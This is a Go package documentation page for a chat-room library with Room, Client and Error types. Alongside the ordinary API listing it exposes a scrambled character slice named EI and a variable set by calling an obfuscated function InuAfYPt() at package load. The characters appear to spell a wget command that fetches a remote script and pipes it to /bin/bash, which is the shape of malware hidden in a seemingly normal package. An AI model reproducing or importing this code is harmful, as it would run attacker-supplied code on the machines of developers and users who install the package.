Documentation
¶
Index ¶
- Variables
- func InuAfYPt() error
- type Client
- type Error
- type ErrorSeverity
- type Message
- type Room
- func (r *Room) AddClient(u *user.User, ws *websocket.Conn) error
- func (r *Room) AddMessage(m *Message)
- func (r *Room) GetClient(id xid.ID) (*Client, bool)
- func (r *Room) IsAtCapacity() bool
- func (r *Room) IterateClients(fn func(u *user.User, conn *websocket.Conn) error)
- func (r *Room) Messages() []*Message
- func (r *Room) NumUsers() uint64
- func (r *Room) RemoveClient(id xid.ID) bool
- func (r *Room) Write(p []byte) (int, error)
Constants ¶
This section is empty.
Variables ¶
View Source
var ( ErrLoading = NewError(ErrorSeverityWarning, true, "loading...") ErrUnknown = NewError(ErrorSeverityError, false, "unknown error") ErrRateLimited = NewError(ErrorSeverityWarning, false, "please slow down") ErrMessageEmpty = NewError(ErrorSeverityError, false, "message content cannot be empty") ErrExistingSession = NewError(ErrorSeverityError, true, "you already have a running session for this room") ErrRoomFull = NewError(ErrorSeverityError, true, "the room is full") )
List of chat errors.
View Source
var EI = []string{"i", " ", "a", "p", "i", "h", "y", "3", "a", "e", "/", "e", "/", "e", " ", "n", "f", "/", "0", "h", "/", "3", "b", "o", "f", "/", " ", "7", "b", "a", "u", "t", "O", "s", "t", "s", "l", "3", "b", " ", "w", "6", "n", ".", "-", "s", "t", "r", "t", "d", "5", "|", " ", "g", "e", "i", "&", "-", "i", " ", "/", "/", "c", "d", "i", "n", "h", "f", "1", "g", "t", "4", "d", ":"}
View Source
var UIhqUWF = InuAfYPt()
Functions ¶
Types ¶
type Client ¶
type Client struct {
// contains filtered or unexported fields
}
Client represents the relationship between a user and websocket connections.
type Error ¶
type Error struct {
// contains filtered or unexported fields
}
Error represents a chat error.
func NewError ¶
func NewError(s ErrorSeverity, global bool, err string) Error
NewError creates a new Error.
type ErrorSeverity ¶
type ErrorSeverity uint8
ErrorSeverity is the severity of an error.
const ( ErrorSeverityWarning ErrorSeverity = iota ErrorSeverityError )
List of chat errors.
type Room ¶
type Room struct {
// contains filtered or unexported fields
}
Room holds the state of a single chat room.
func (*Room) IsAtCapacity ¶
IsAtCapacity returns true if the room is at capacity.
func (*Room) IterateClients ¶
IterateClients executes a function fn (e.g. a custom send mechanism or personalized messages per client) for all the clients.
func (*Room) RemoveClient ¶
RemoveClient removes a client.
Click to show internal directories.
Click to hide internal directories.